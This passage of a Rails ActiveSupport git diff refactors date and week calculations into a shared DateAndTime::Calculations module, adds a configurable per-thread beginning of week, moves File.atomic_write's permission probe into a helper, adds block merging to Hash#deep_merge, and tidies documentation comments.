instance_reader = options.fetch(:instance_accessor, true) && options.fetch(:instance_reader, true)
diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
index 7fe4161fb4..a7551d9c64 100644
--- a/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -3,19 +3,35 @@ require 'active_support/duration'
require 'active_support/core_ext/object/acts_like'
require 'active_support/core_ext/date/zones'
require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/date_and_time/calculations'
class Date
- DAYS_INTO_WEEK = {
- :monday => 0,
- :tuesday => 1,
- :wednesday => 2,
- :thursday => 3,
- :friday => 4,
- :saturday => 5,
- :sunday => 6
- }
+ include DateAndTime::Calculations
class << self
+ attr_accessor :beginning_of_week_default
+
+ # Returns the week start (e.g. :monday) for the current request, if this has been set (via Date.beginning_of_week=).
+ # If <tt>Date.beginning_of_week</tt> has not been set for the current request, returns the week start specified in <tt>config.beginning_of_week</tt>.
+ # If no config.beginning_of_week was specified, returns :monday.
+ def beginning_of_week
+ Thread.current[:beginning_of_week] || beginning_of_week_default || :monday
+ end
+
+ # Sets <tt>Date.beginning_of_week</tt> to a week start (e.g. :monday) for current request/thread.
+ #
+ # This method accepts any of the following day symbols:
+ # :monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday
+ def beginning_of_week=(week_start)
+ Thread.current[:beginning_of_week] = find_beginning_of_week!(week_start)
+ end
+
+ # Returns week start day symbol (e.g. :monday), or raises an ArgumentError for invalid day symbol.
+ def find_beginning_of_week!(week_start)
+ raise ArgumentError, "Invalid beginning of week: #{week_start}" unless ::Date::DAYS_INTO_WEEK.keys.include?(week_start)
+ week_start
+ end
+
# Returns a new Date representing the date 1 day ago (i.e. yesterday's date).
def yesterday
::Date.current.yesterday
@@ -32,21 +48,6 @@ class Date
end
end
- # Returns true if the Date object's date lies in the past. Otherwise returns false.
- def past?
- self < ::Date.current
- end
-
- # Returns true if the Date object's date is today.
- def today?
- to_date == ::Date.current # we need the to_date because of DateTime
- end
-
- # Returns true if the Date object's date lies in the future.
- def future?
- self > ::Date.current
- end
-
# Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
# and then subtracts the specified number of seconds.
def ago(seconds)
@@ -106,9 +107,10 @@ class Date
end
# Returns a new Date where one or more of the elements have been changed according to the +options+ parameter.
+ # The +options+ parameter is a hash with a combination of these keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>.
#
- # Date.new(2007, 5, 12).change(:day => 1) # => Date.new(2007, 5, 1)
- # Date.new(2007, 5, 12).change(:year => 2005, :month => 1) # => Date.new(2005, 1, 12)
+ # Date.new(2007, 5, 12).change(day: 1) # => Date.new(2007, 5, 1)
+ # Date.new(2007, 5, 12).change(year: 2005, month: 1) # => Date.new(2005, 1, 12)
def change(options)
::Date.new(
options.fetch(:year, year),
@@ -116,161 +118,4 @@ class Date
options.fetch(:day, day)
)
end
-
- # Returns a new Date/DateTime representing the time a number of specified weeks ago.
- def weeks_ago(weeks)
- advance(:weeks => -weeks)
- end
-
- # Returns a new Date/DateTime representing the time a number of specified months ago.
- def months_ago(months)
- advance(:months => -months)
- end
-
- # Returns a new Date/DateTime representing the time a number of specified months in the future.
- def months_since(months)
- advance(:months => months)
- end
-
- # Returns a new Date/DateTime representing the time a number of specified years ago.
- def years_ago(years)
- advance(:years => -years)
- end
-
- # Returns a new Date/DateTime representing the time a number of specified years in the future.
- def years_since(years)
- advance(:years => years)
- end
-
- # Returns number of days to start of this week. Week is assumed to start on
- # +start_day+, default is +:monday+.
- def days_to_week_start(start_day = :monday)
- start_day_number = DAYS_INTO_WEEK[start_day]
- current_day_number = wday != 0 ? wday - 1 : 6
- (current_day_number - start_day_number) % 7
- end
-
- # Returns a new +Date+/+DateTime+ representing the start of this week. Week is
- # assumed to start on +start_day+, default is +:monday+. +DateTime+ objects
- # have their time set to 0:00.
- def beginning_of_week(start_day = :monday)
- days_to_start = days_to_week_start(start_day)
- result = self - days_to_start
- acts_like?(:time) ? result.midnight : result
- end
- alias :at_beginning_of_week :beginning_of_week
-
- # Returns a new +Date+/+DateTime+ representing the start of this week. Week is
- # assumed to start on a Monday. +DateTime+ objects have their time set to 0:00.
- def monday
- beginning_of_week
- end
-
- # Returns a new +Date+/+DateTime+ representing the end of this week. Week is
- # assumed to start on +start_day+, default is +:monday+. +DateTime+ objects
- # have their time set to 23:59:59.
- def end_of_week(start_day = :monday)
- days_to_end = 6 - days_to_week_start(start_day)
- result = self + days_to_end.days
- acts_like?(:time) ? result.end_of_day : result
- end
- alias :at_end_of_week :end_of_week
-
- # Returns a new +Date+/+DateTime+ representing the end of this week. Week is
- # assumed to start on a Monday. +DateTime+ objects have their time set to 23:59:59.
- def sunday
- end_of_week
- end
-
- # Returns a new +Date+/+DateTime+ representing the given +day+ in the previous
- # week. Default is +:monday+. +DateTime+ objects have their time set to 0:00.
- def prev_week(day = :monday)
- result = (self - 7).beginning_of_week + DAYS_INTO_WEEK[day]
- acts_like?(:time) ? result.change(:hour => 0) : result
- end
- alias :last_week :prev_week
-
- # Alias of prev_month
- alias :last_month :prev_month
-
- # Alias of prev_year
- alias :last_year :prev_year
-
- # Returns a new Date/DateTime representing the start of the given day in next week (default is :monday).
- def next_week(day = :monday)
- result = (self + 7).beginning_of_week + DAYS_INTO_WEEK[day]
- acts_like?(:time) ? result.change(:hour => 0) : result
- end
-
- # Short-hand for months_ago(3)
- def prev_quarter
- months_ago(3)
- end
- alias_method :last_quarter, :prev_quarter
-
- # Short-hand for months_since(3)
- def next_quarter
- months_since(3)
- end
-
- # Returns a new Date/DateTime representing the start of the month (1st of the month; DateTime objects will have time set to 0:00)
- def beginning_of_month
- acts_like?(:time) ? change(:day => 1, :hour => 0) : change(:day => 1)
- end
- alias :at_beginning_of_month :beginning_of_month
-
- # Returns a new Date/DateTime representing the end of the month (last day of the month; DateTime objects will have time set to 0:00)
- def end_of_month
- last_day = ::Time.days_in_month(month, year)
- if acts_like?(:time)
- change(:day => last_day, :hour => 23, :min => 59, :sec => 59)
- else
- change(:day => last_day)
- end
- end
- alias :at_end_of_month :end_of_month
-
- # Returns a new Date/DateTime representing the start of the quarter (1st of january, april, july, october; DateTime objects will have time set to 0:00)
- def beginning_of_quarter
- first_quarter_month = [10, 7, 4, 1].detect { |m| m <= month }
- beginning_of_month.change(:month => first_quarter_month)
- end
- alias :at_beginning_of_quarter :beginning_of_quarter
-
- # Returns a new Date/DateTime representing the end of the quarter (last day of march, june, september, december; DateTime objects will have time set to 23:59:59)
- def end_of_quarter
- last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month }
- beginning_of_month.change(:month => last_quarter_month).end_of_month
- end
- alias :at_end_of_quarter :end_of_quarter
-
- # Returns a new Date/DateTime representing the start of the year (1st of january; DateTime objects will have time set to 0:00)
- def beginning_of_year
- if acts_like?(:time)
- change(:month => 1, :day => 1, :hour => 0)
- else
- change(:month => 1, :day => 1)
- end
- end
- alias :at_beginning_of_year :beginning_of_year
-
- # Returns a new Time representing the end of the year (31st of december; DateTime objects will have time set to 23:59:59)
- def end_of_year
- if acts_like?(:time)
- change(:month => 12, :day => 31, :hour => 23, :min => 59, :sec => 59)
- else
- change(:month => 12, :day => 31)
- end
- end
- alias :at_end_of_year :end_of_year
-
- # Convenience method which returns a new Date/DateTime representing the time 1 day ago
- def yesterday
- self - 1
- end
-
- # Convenience method which returns a new Date/DateTime representing the time 1 day since the instance time
- def tomorrow
- self + 1
- end
end
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
index 81f969e786..9120b0ba49 100644
--- a/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -43,7 +43,7 @@ class Date
#
# # config/initializers/time_formats.rb
# Date::DATE_FORMATS[:month_and_year] = '%B %Y'
- # Date::DATE_FORMATS[:short_ordinal] = lambda { |date| date.strftime("%B #{date.day.ordinalize}") }
+ # Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
def to_formatted_s(format = :default)
if formatter = DATE_FORMATS[format]
if formatter.respond_to?(:call)
diff --git a/activesupport/lib/active_support/core_ext/date/zones.rb b/activesupport/lib/active_support/core_ext/date/zones.rb
index a70b47b7bc..c1b3934722 100644
--- a/activesupport/lib/active_support/core_ext/date/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date/zones.rb
@@ -2,8 +2,9 @@ require 'date'
require 'active_support/core_ext/time/zones'
class Date
- # Converts Date to a TimeWithZone in the current zone if Time.zone or Time.zone_default
- # is set, otherwise converts Date to a Time via Date#to_time
+ # Converts Date to a TimeWithZone in the current zone if <tt>Time.zone</tt> or
+ # <tt>Time.zone_default</tt> is set, otherwise converts Date to a Time via
+ # Date#to_time.
def to_time_in_current_zone
if ::Time.zone
::Time.zone.local(year, month, day)
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
new file mode 100644
index 0000000000..1f78b9eb5a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -0,0 +1,232 @@
+module DateAndTime
+ module Calculations
+ DAYS_INTO_WEEK = {
+ :monday => 0,
+ :tuesday => 1,
+ :wednesday => 2,
+ :thursday => 3,
+ :friday => 4,
+ :saturday => 5,
+ :sunday => 6
+ }
+
+ # Returns a new date/time representing yesterday.
+ def yesterday
+ advance(:days => -1)
+ end
+
+ # Returns a new date/time representing tomorrow.
+ def tomorrow
+ advance(:days => 1)
+ end
+
+ # Returns true if the date/time is today.
+ def today?
+ to_date == ::Date.current
+ end
+
+ # Returns true if the date/time is in the past.
+ def past?
+ self < self.class.current
+ end
+
+ # Returns true if the date/time is in the future.
+ def future?
+ self > self.class.current
+ end
+
+ # Returns a new date/time the specified number of days ago.
+ def days_ago(days)
+ advance(:days => -days)
+ end
+
+ # Returns a new date/time the specified number of days in the future.
+ def days_since(days)
+ advance(:days => days)
+ end
+
+ # Returns a new date/time the specified number of weeks ago.
+ def weeks_ago(weeks)
+ advance(:weeks => -weeks)
+ end
+
+ # Returns a new date/time the specified number of weeks in the future.
+ def weeks_since(weeks)
+ advance(:weeks => weeks)
+ end
+
+ # Returns a new date/time the specified number of months ago.
+ def months_ago(months)
+ advance(:months => -months)
+ end
+
+ # Returns a new date/time the specified number of months in the future.
+ def months_since(months)
+ advance(:months => months)
+ end
+
+ # Returns a new date/time the specified number of years ago.
+ def years_ago(years)
+ advance(:years => -years)
+ end
+
+ # Returns a new date/time the specified number of years in the future.
+ def years_since(years)
+ advance(:years => years)
+ end
+
+ # Returns a new date/time at the start of the month.
+ # DateTime objects will have a time set to 0:00.
+ def beginning_of_month
+ first_hour{ change(:day => 1) }
+ end
+ alias :at_beginning_of_month :beginning_of_month
+
+ # Returns a new date/time at the start of the quarter.
+ # Example: 1st January, 1st July, 1st October.
+ # DateTime objects will have a time set to 0:00.
+ def beginning_of_quarter
+ first_quarter_month = [10, 7, 4, 1].detect { |m| m <= month }
+ beginning_of_month.change(:month => first_quarter_month)
+ end
+ alias :at_beginning_of_quarter :beginning_of_quarter
+
+ # Returns a new date/time at the end of the quarter.
+ # Example: 31st March, 30th June, 30th September.
+ # DateTIme objects will have a time set to 23:59:59.
+ def end_of_quarter
+ last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month }
+ beginning_of_month.change(:month => last_quarter_month).end_of_month
+ end
+ alias :at_end_of_quarter :end_of_quarter
+
+ # Return a new date/time at the beginning of the year.
+ # Example: 1st January.
+ # DateTime objects will have a time set to 0:00.
+ def beginning_of_year
+ change(:month => 1).beginning_of_month
+ end
+ alias :at_beginning_of_year :beginning_of_year
+
+ # Returns a new date/time representing the given day in the next week.
+ # Week is assumed to start on +start_day+, default is
+ # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+ # DateTime objects have their time set to 0:00.
+ def next_week(start_day = Date.beginning_of_week)
+ first_hour{ weeks_since(1).beginning_of_week.days_since(days_span(start_day)) }
+ end
+
+ # Short-hand for months_since(1).
+ def next_month
+ months_since(1)
+ end
+
+ # Short-hand for months_since(3)
+ def next_quarter
+ months_since(3)
+ end
+
+ # Short-hand for years_since(1).
+ def next_year
+ years_since(1)
+ end
+
+ # Returns a new date/time representing the given day in the previous week.
+ # Week is assumed to start on +start_day+, default is
+ # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+ # DateTime objects have their time set to 0:00.
+ def prev_week(start_day = Date.beginning_of_week)
+ first_hour{ weeks_ago(1).beginning_of_week.days_since(days_span(start_day)) }
+ end
+ alias_method :last_week, :prev_week
+
+ # Short-hand for months_ago(1).
+ def prev_month
+ months_ago(1)
+ end
+ alias_method :last_month, :prev_month
+
+ # Short-hand for months_ago(3).
+ def prev_quarter
+ months_ago(3)
+ end
+ alias_method :last_quarter, :prev_quarter
+
+ # Short-hand for years_ago(1).
+ def prev_year
+ years_ago(1)
+ end
+ alias_method :last_year, :prev_year
+
+ # Returns the number of days to the start of the week on the given day.
+ # Week is assumed to start on +start_day+, default is
+ # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+ def days_to_week_start(start_day = Date.beginning_of_week)
+ start_day_number = DAYS_INTO_WEEK[start_day]
+ current_day_number = wday != 0 ? wday - 1 : 6
+ (current_day_number - start_day_number) % 7
+ end
+
+ # Returns a new date/time representing the start of this week on the given day.
+ # Week is assumed to start on +start_day+, default is
+ # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+ # +DateTime+ objects have their time set to 0:00.
+ def beginning_of_week(start_day = Date.beginning_of_week)
+ result = days_ago(days_to_week_start(start_day))
+ acts_like?(:time) ? result.midnight : result
+ end
+ alias :at_beginning_of_week :beginning_of_week
+
+ # Returns Monday of this week assuming that week starts on Monday.
+ # +DateTime+ objects have their time set to 0:00.
+ def monday
+ beginning_of_week(:monday)
+ end
+
+ # Returns a new date/time representing the end of this week on the given day.
+ # Week is assumed to start on +start_day+, default is
+ # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+ # DateTime objects have their time set to 23:59:59.
+ def end_of_week(start_day = Date.beginning_of_week)
+ last_hour{ days_since(6 - days_to_week_start(start_day)) }
+ end
+ alias :at_end_of_week :end_of_week
+
+ # Returns Sunday of this week assuming that week starts on Monday.
+ # +DateTime+ objects have their time set to 23:59:59.
+ def sunday
+ end_of_week(:monday)
+ end
+
+ # Returns a new date/time representing the end of the month.
+ # DateTime objects will have a time set to 23:59:59.
+ def end_of_month
+ last_day = ::Time.days_in_month(month, year)
+ last_hour{ days_since(last_day - day) }
+ end
+ alias :at_end_of_month :end_of_month
+
+ # Returns a new date/time representing the end of the year.
+ # DateTime objects will have a time set to 23:59:59.
+ def end_of_year
+ change(:month => 12).end_of_month
+ end
+ alias :at_end_of_year :end_of_year
+
+ private
+
+ def first_hour
+ result = yield
+ acts_like?(:time) ? result.change(:hour => 0) : result
+ end
+
+ def last_hour
+ result = yield
+ acts_like?(:time) ? result.end_of_day : result
+ end
+
+ def days_span(day)
+ (DAYS_INTO_WEEK[day] - DAYS_INTO_WEEK[Date.beginning_of_week]) % 7
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
index fd78044b5d..385aa586bb 100644
--- a/activesupport/lib/active_support/core_ext/date_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -9,30 +9,40 @@ class DateTime
::Time.local(2012).utc_offset.to_r / 86400
end
- # Returns <tt>Time.zone.now.to_datetime</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise returns <tt>Time.now.to_datetime</tt>.
+ # Returns <tt>Time.zone.now.to_datetime</tt> when <tt>Time.zone</tt> or
+ # <tt>config.time_zone</tt> are set, otherwise returns
+ # <tt>Time.now.to_datetime</tt>.
def current
::Time.zone ? ::Time.zone.now.to_datetime : ::Time.now.to_datetime
end
end
- # Tells whether the DateTime object's datetime lies in the past
+ # Tells whether the DateTime object's datetime lies in the past.
def past?
self < ::DateTime.current
end
- # Tells whether the DateTime object's datetime lies in the future
+ # Tells whether the DateTime object's datetime lies in the future.
def future?
self > ::DateTime.current
end
- # Seconds since midnight: DateTime.now.seconds_since_midnight
+ # Seconds since midnight: DateTime.now.seconds_since_midnight.
def seconds_since_midnight
sec + (min * 60) + (hour * 3600)
end
- # Returns a new DateTime where one or more of the elements have been changed according to the +options+ parameter. The time options
- # (hour, minute, sec) reset cascadingly, so if only the hour is passed, then minute and sec is set to 0. If the hour and
- # minute is passed, then sec is set to 0.
+ # Returns a new DateTime where one or more of the elements have been changed
+ # according to the +options+ parameter. The time options (<tt>:hour</tt>,
+ # <tt>:minute</tt>, <tt>:sec</tt>) reset cascadingly, so if only the hour is
+ # passed, then minute and sec is set to 0. If the hour and minute is passed,
+ # then sec is set to 0. The +options+ parameter takes a hash with any of these
+ # keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>,
+ # <tt>:min</tt>, <tt>:sec</tt>, <tt>:offset</tt>, <tt>:start</tt>.
+ #
+ # DateTime.new(2012, 8, 29, 22, 35, 0).change(day: 1) # => DateTime.new(2012, 8, 1, 22, 35, 0)
+ # DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1) # => DateTime.new(1981, 8, 1, 22, 35, 0)
+ # DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => DateTime.new(1981, 8, 29, 0, 0, 0)
def change(options)
::DateTime.civil(
options.fetch(:year, year),
@@ -65,20 +75,21 @@ class DateTime
end
end
- # Returns a new DateTime representing the time a number of seconds ago
+ # Returns a new DateTime representing the time a number of seconds ago.
# Do not use this method in combination with x.months, use months_ago instead!
def ago(seconds)
since(-seconds)
end
- # Returns a new DateTime representing the time a number of seconds since the instance time
- # Do not use this method in combination with x.months, use months_since instead!
+ # Returns a new DateTime representing the time a number of seconds since the
+ # instance time. Do not use this method in combination with x.months, use
+ # months_since instead!
def since(seconds)
self + Rational(seconds.round, 86400)
end
alias :in :since
- # Returns a new DateTime representing the start of the day (0:00)
+ # Returns a new DateTime representing the start of the day (0:00).
def beginning_of_day
change(:hour => 0)
end
@@ -86,42 +97,43 @@ class DateTime
alias :at_midnight :beginning_of_day
alias :at_beginning_of_day :beginning_of_day
- # Returns a new DateTime representing the end of the day (23:59:59)
+ # Returns a new DateTime representing the end of the day (23:59:59).
def end_of_day
change(:hour => 23, :min => 59, :sec => 59)
end
- # Returns a new DateTime representing the start of the hour (hh:00:00)
+ # Returns a new DateTime representing the start of the hour (hh:00:00).
def beginning_of_hour
change(:min => 0)
end
alias :at_beginning_of_hour :beginning_of_hour
- # Returns a new DateTime representing the end of the hour (hh:59:59)
+ # Returns a new DateTime representing the end of the hour (hh:59:59).
def end_of_hour
change(:min => 59, :sec => 59)
end
- # Adjusts DateTime to UTC by adding its offset value; offset is set to 0
+ # Adjusts DateTime to UTC by adding its offset value; offset is set to 0.
#
- # DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)) # => Mon, 21 Feb 2005 10:11:12 -0600
- # DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc # => Mon, 21 Feb 2005 16:11:12 +0000
+ # DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)) # => Mon, 21 Feb 2005 10:11:12 -0600
+ # DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc # => Mon, 21 Feb 2005 16:11:12 +0000
def utc
new_offset(0)
end
alias_method :getutc, :utc
- # Returns true if offset == 0
+ # Returns +true+ if <tt>offset == 0</tt>.
def utc?
offset == 0
end
- # Returns the offset value in seconds
+ # Returns the offset value in seconds.
def utc_offset
(offset * 86400).to_i
end
- # Layers additional behavior on DateTime#<=> so that Time and ActiveSupport::TimeWithZone instances can be compared with a DateTime
+ # Layers additional behavior on DateTime#<=> so that Time and
+ # ActiveSupport::TimeWithZone instances can be compared with a DateTime.
def <=>(other)
super other.to_datetime
end
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
index 7c3a5eaace..b7d8414a9d 100644
--- a/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -53,7 +53,8 @@ class DateTime
alias_method :default_inspect, :inspect
alias_method :inspect, :readable_inspect
- # Returns DateTime with local offset for given year if format is local else offset is zero
+ # Returns DateTime with local offset for given year if format is local else
+ # offset is zero.
#
# DateTime.civil_from_format :local, 2012
# # => Sun, 01 Jan 2012 00:00:00 +0300
@@ -68,12 +69,12 @@ class DateTime
civil(year, month, day, hour, min, sec, offset)
end
- # Converts self to a floating-point number of seconds since the Unix epoch.
+ # Converts +self+ to a floating-point number of seconds since the Unix epoch.
def to_f
seconds_since_unix_epoch.to_f
end
- # Converts self to an integer number of seconds since the Unix epoch.
+ # Converts +self+ to an integer number of seconds since the Unix epoch.
def to_i
seconds_since_unix_epoch.to_i
end
diff --git a/activesupport/lib/active_support/core_ext/date_time/zones.rb b/activesupport/lib/active_support/core_ext/date_time/zones.rb
index 823735d3e2..6457ffbaf6 100644
--- a/activesupport/lib/active_support/core_ext/date_time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/zones.rb
@@ -6,13 +6,14 @@ class DateTime
# Time.zone = 'Hawaii' # => 'Hawaii'
# DateTime.new(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
#
- # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
- # instead of the operating system's time zone.
+ # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt>
+ # as the local zone instead of the operating system's time zone.
#
- # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
- # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
+ # You can also pass in a TimeZone instance or string that identifies a TimeZone
+ # as an argument, and the conversion will be based on that zone instead of
+ # <tt>Time.zone</tt>.
#
- # DateTime.new(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+ # DateTime.new(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
def in_time_zone(zone = ::Time.zone)
if zone
ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
index 03efe6a19a..4501b7ff58 100644
--- a/activesupport/lib/active_support/core_ext/enumerable.rb
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -17,7 +17,6 @@ module Enumerable
# The default sum of an empty list is zero. You can override this default:
#
# [].sum(Payment.new(0)) { |i| i.amount } # => Payment.new(0)
- #
def sum(identity = 0, &block)
if block_given?
map(&block).sum(identity)
@@ -32,7 +31,6 @@ module Enumerable
# => { "nextangle" => <Person ...>, "chade-" => <Person ...>, ...}
# people.index_by { |person| "#{person.first_name} #{person.last_name}" }
# => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...}
- #
def index_by
if block_given?
Hash[map { |elem| [yield(elem), elem] }]
@@ -41,8 +39,10 @@ module Enumerable
end
end
- # Returns true if the enumerable has more than 1 element. Functionally equivalent to enum.to_a.size > 1.
- # Can be called with a block too, much like any?, so <tt>people.many? { |p| p.age > 26 }</tt> returns true if more than one person is over 26.
+ # Returns +true+ if the enumerable has more than 1 element. Functionally
+ # equivalent to <tt>enum.to_a.size > 1</tt>. Can be called with a block too,
+ # much like any?, so <tt>people.many? { |p| p.age > 26 }</tt> returns +true+
+ # if more than one person is over 26.
def many?
cnt = 0
if block_given?
@@ -55,7 +55,8 @@ module Enumerable
end
end
- # The negative of the <tt>Enumerable#include?</tt>. Returns true if the collection does not include the object.
+ # The negative of the <tt>Enumerable#include?</tt>. Returns +true+ if the
+ # collection does not include the object.
def exclude?(object)
!include?(object)
end
diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
index 9e504851e7..81beb4e85d 100644
--- a/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -1,3 +1,5 @@
+require 'fileutils'
+
class File
# Write to a file atomically. Useful for situations where you don't
# want other processes or threads to see half-written files.
@@ -25,17 +27,9 @@ class File
# Get original file permissions
old_stat = stat(file_name)
rescue Errno::ENOENT
- # No old permissions, write a temp file to determine the defaults
- temp_file_name = [
- '.permissions_check',
- Thread.current.object_id,
- Process.pid,
- rand(1000000)
- ].join('.')
- check_name = join(dirname(file_name), temp_file_name)
- open(check_name, 'w') { }
- old_stat = stat(check_name)
- unlink(check_name)
+ # If not possible, probe which are the default permissions in the
+ # destination directory.
+ old_stat = probe_stat_in(dirname(file_name))
end
# Overwrite original file with temp file
@@ -45,4 +39,20 @@ class File
chown(old_stat.uid, old_stat.gid, file_name)
chmod(old_stat.mode, file_name)
end
+
+ # Private utility method.
+ def self.probe_stat_in(dir) #:nodoc:
+ basename = [
+ '.permissions_check',
+ Thread.current.object_id,
+ Process.pid,
+ rand(1000000)
+ ].join('.')
+
+ file_name = join(dir, basename)
+ FileUtils.touch(file_name)
+ stat(file_name)
+ ensure
+ FileUtils.rm_f(file_name) if file_name
+ end
end
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index 7c72ead36c..5ba8197006 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -40,7 +40,7 @@ class Hash
# end
# end
#
- # {:foo => Foo.new}.to_xml(:skip_instruct => true)
+ # { foo: Foo.new }.to_xml(skip_instruct: true)
# # => "<hash><bar>fooing!</bar></hash>"
#
# * Otherwise, a node with +key+ as tag is created with a string representation of
diff --git a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
index 023bf68a87..83f0c87b04 100644
--- a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
@@ -1,20 +1,26 @@
class Hash
# Returns a new hash with +self+ and +other_hash+ merged recursively.
#
- # h1 = {x: {y: [4,5,6]}, z: [7,8,9]}
- # h2 = {x: {y: [7,8,9]}, z: "xyz"}
+ # h1 = { x: { y: [4,5,6] }, z: [7,8,9] }
+ # h2 = { x: { y: [7,8,9] }, z: 'xyz' }
#
# h1.deep_merge(h2) #=> {:x => {:y => [7, 8, 9]}, :z => "xyz"}
# h2.deep_merge(h1) #=> {:x => {:y => [4, 5, 6]}, :z => [7, 8, 9]}
- def deep_merge(other_hash)
- dup.deep_merge!(other_hash)
+ # h1.deep_merge(h2) { |key, old, new| Array.wrap(old) + Array.wrap(new) }
+ # #=> {:x => {:y => [4, 5, 6, 7, 8, 9]}, :z => [7, 8, 9, "xyz"]}
+ def deep_merge(other_hash, &block)
+ dup.deep_merge!(other_hash, &block)
end
# Same as +deep_merge+, but modifies +self+.
- def deep_merge!(other_hash)
+ def deep_merge!(other_hash, &block)
other_hash.each_pair do |k,v|
tv = self[k]
- self[k] = tv.is_a?(Hash) && v.is_a?(Hash) ? tv.deep_merge(v) : v
+ if tv.is_a?(Hash) && v.is_a?(Hash)
+ self[k] = tv.deep_merge(v, &block)
+ else
+ self[k] = block && tv ? block.call(k, tv, v) : v
+ end
end
self
end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
index c82da3c6c2..5cb00d0ebd 100644
--- a/activesupport/lib/active_support/core_ext/hash/except.rb
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -3,7 +3,6 @@ class Hash
# limiting a set of parameters to everything but a few known toggles:
#
# @person.update_attributes(params[:person].except(:admin))
- #
def except(*keys)
dup.except!(*keys)
end
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index 7d54c9fae6..6c7e876fca 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -4,8 +4,7 @@ class Hash
# Returns an <tt>ActiveSupport::HashWithIndifferentAccess</tt> out of its receiver:
#
- # {:a => 1}.with_indifferent_access["a"] # => 1
- #
+ # { a: 1 }.with_indifferent_access['a'] # => 1
def with_indifferent_access
ActiveSupport::HashWithIndifferentAccess.new_from_hash_copying_default(self)
end
@@ -17,8 +16,7 @@ class Hash
# converting to an <tt>ActiveSupport::HashWithIndifferentAccess</tt> would not be
# desirable.
#
- # b = {:b => 1}
- # {:a => b}.with_indifferent_access["a"] # calls b.nested_under_indifferent_access
- #
+ # b = { b: 1 }
+ # { a: b }.with_indifferent_access['a'] # calls b.nested_under_indifferent_access
alias nested_under_indifferent_access with_indifferent_access
end
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index e753e36124..13081995b0 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -14,7 +14,7 @@ class Hash
end
# Destructively convert all keys using the block operations.
- # Same as transform_keys but modifies +self+
+ # Same as transform_keys but modifies +self+.
